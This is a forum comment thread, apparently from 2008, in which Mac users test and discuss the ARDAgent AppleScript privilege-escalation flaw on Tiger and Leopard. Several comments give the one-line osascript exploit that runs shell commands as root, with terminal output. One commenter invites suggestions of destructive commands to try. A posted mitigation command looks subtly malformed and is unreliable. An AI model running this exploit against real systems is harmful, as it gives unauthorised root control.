I have all updates applied to the OS up to 10.4.11 and just yesterday ran some more updates.
it can also be replaced with "Whooooooosh!"
;)
I agree with you, I just say this issue should be used to debunk the junk which claims to do heuristics wasting user CPU. If something does heuristics on an OS without any known viruses, it should really do it. I am speaking about pro active security like "what launches what, what did user do". All serious antivirus on Windows does it and Mac antivirus doesn't while it is more expensive than Windows one.
Well apparently my machine is a bit safer than the other machines:
on Leopard;
powermacg4]~ >osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)
And I get an error, albeit different, in my Tiger machine as well.
"since this exploit seems to require physical access to the machine to be rooted," Excuse me but this is absolutely false. Anyone that has remote access to this system as a regular user can launch the exploit. Are you saying that you have to be actually sitting at the keyboard to run Apple Script? !!???
OK, I am interested in this, but having a little trouble understanding what this exploit can do. I ran the default script, and yes, it did return "root". But, can it do practical things? Can it create a user? Reveal/change passwords for existing users? Delete files? Can it run the dreaded rm *.*? I have two powerbooks sitting around that have leopard I could blow away if someone can suggest commands to run. I'll report the results.
Hmmm, on my Tiger box, /etc/hostconfig says:
ARDAGENT=-NO-
so osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
says:
23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
I dunno if anyone's actually looked at this, but it's a lot worse than "requires physical access". For example...
1) Any program running on your system automatically can run AppleScript.
2) Any system configured to do load sharing via Xgrid can have commands injected that will do this sort of thing.
3) Anyone who can access the machine from remote can do it, including via VNC.
osascript -e 'tell app "ARDAgent" to run shell script "chmod -r ugo-rwx /System/Library/RemoteManagement/ARDAgent.app"'
but re-run it after doing any kind of "repair permissions" on the volume.
My machine has been through a few upgrades rather than fresh installs - it is running an ARDAgent though, but this exploit simply doesn't work
Last login: Tue Jun 24 11:10:39 on ttys000
[MyMac:~/Desktop] user% osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)
[MyMac:~/Desktop] user%
163